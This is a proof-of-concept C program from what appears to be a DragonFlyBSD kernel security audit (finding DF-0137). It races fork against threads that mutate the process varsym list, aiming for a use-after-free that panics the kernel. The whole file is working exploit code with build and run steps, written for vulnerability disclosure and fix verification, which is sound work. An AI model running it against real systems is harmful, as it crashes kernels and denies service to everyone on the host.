โฌข DragonFlyBSD Kernel Audit
DF-0137 / race.c
โ† back to finding โ†“ download raw
/*
 * DF-0137 PoC โ€” unlocked TAILQ traversal in varsymset_init() during fork.
 *
 * varsymset_init() (sys/kern/kern_varsym.c:519-531) copies the source
 * varsymset via TAILQ_FOREACH WITHOUT acquiring copy->vx_lock. fork1()
 * (sys/kern/kern_fork.c:646) calls it as:
 *
 *     varsymset_init(&p2->p_varsymset, &p1->p_varsymset);
 *
 * fork1 holds p1->p_token, but varsymmake() (the varsym_set VARSYM_PROC
 * path) does NOT take p1->p_token โ€” it only takes &p1->p_varsymset.vx_lock
 * (LK_EXCLUSIVE, kern_varsym.c:457) and TAILQ_REMOVE+kfree's entries. So a
 * concurrent LWP of the SAME proc (pthreads share struct proc / p_varsymset)
 * can free a varsyment out from under the unlocked TAILQ_FOREACH in
 * fork -> varsymset_init -> varsymdup, producing a use-after-free / TAILQ
 * corruption that (with INVARIANTS-on GENERIC) panics on the poisoned/
 * WEIRD_ADDR (0xdeadc0de) pointer written by kern_slaballoc.c over freed
 * chunks.
 *
 * Strategy: keep the process varsymset populated with a LARGE, continuously
 * churned population of distinct names (add+delete across a wide range) so
 * that fork's unlocked copy frequently crosses entries being freed, while
 * several forkers drive fork1's varsymset_init copy in parallel.
 *
 * Build: cc -O2 -o race race.c -lpthread
 * Run:   ./race         (watch for kernel panic / guest going down)
 *
 * Expected (BUG present): kernel panic (fatal trap 12 page fault on a
 *   poisoned TAILQ pointer, or a slab INVARIANTS "freed chunk" trap); the
 *   ssh session dies and the guest sits in DDB. Race is timing-dependent โ€”
 *   may need several runs.
 * Expected (FIXED): process runs to completion and prints "RACE_DONE".
 */
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/varsym.h>

int varsym_set(int level, const char *name, const char *data);

static volatile sig_atomic_t stop = 0;

static void
alarmhandler(int s)
{
	stop = 1;
	(void)s;
}

/* LWP: churn a wide range of distinct names so the process varsymset is
 * large and continuously mutated (adds at tail, removes anywhere via
 * varsymlookup), maximizing freed entries the unlocked fork-copy crosses. */
static void *
churner(void *arg)
{
	unsigned long base = (unsigned long)(unsigned long long)arg;
	char name[48];
	unsigned long i;

	for (i = 0; !stop; i++) {
		snprintf(name, sizeof(name), "DF0137C%lu_%07lu", base, i % 3000UL);
		varsym_set(VARSYM_PROC, name, "x");   /* insert/replace (tail) */
		snprintf(name, sizeof(name), "DF0137C%lu_%07lu", base,
			 (i + 1500UL) % 3000UL);
		varsym_set(VARSYM_PROC, name, NULL);  /* delete -> kfree(ve) */
	}
	return NULL;
}

/* LWP: fork() repeatedly -> fork1 -> varsymset_init copies the concurrently
 * mutated p_varsymset WITHOUT vx_lock. The child exits immediately. */
static void *
forker(void *arg)
{
	pid_t p;
	(void)arg;
	while (!stop) {
		p = fork();
		if (p == 0)
			_exit(0);
		else if (p > 0) {
			while (waitpid(-1, NULL, WNOHANG) > 0)
				;
		}
	}
	return NULL;
}

int
main(void)
{
	pthread_t th[8];
	int nfork = 3, nchurn = 5;
	int i, idx = 0;

	signal(SIGALRM, alarmhandler);
	signal(SIGCHLD, SIG_IGN);	/* auto-reap children */

	fprintf(stderr, "[*] DF-0137 race: %d forkers + %d churners for 30s...\n",
		nfork, nchurn);
	alarm(30);

	for (i = 0; i < nchurn; i++)
		pthread_create(&th[idx++], NULL, churner, (void *)(unsigned long)(i + 1));
	for (i = 0; i < nfork; i++)
		pthread_create(&th[idx++], NULL, forker, NULL);

	for (i = 0; i < idx; i++)
		pthread_join(th[i], NULL);

	fprintf(stderr, "RACE_DONE: no panic in this 30s window "
			"(timing-dependent; retry if needed)\n");
	return 0;
}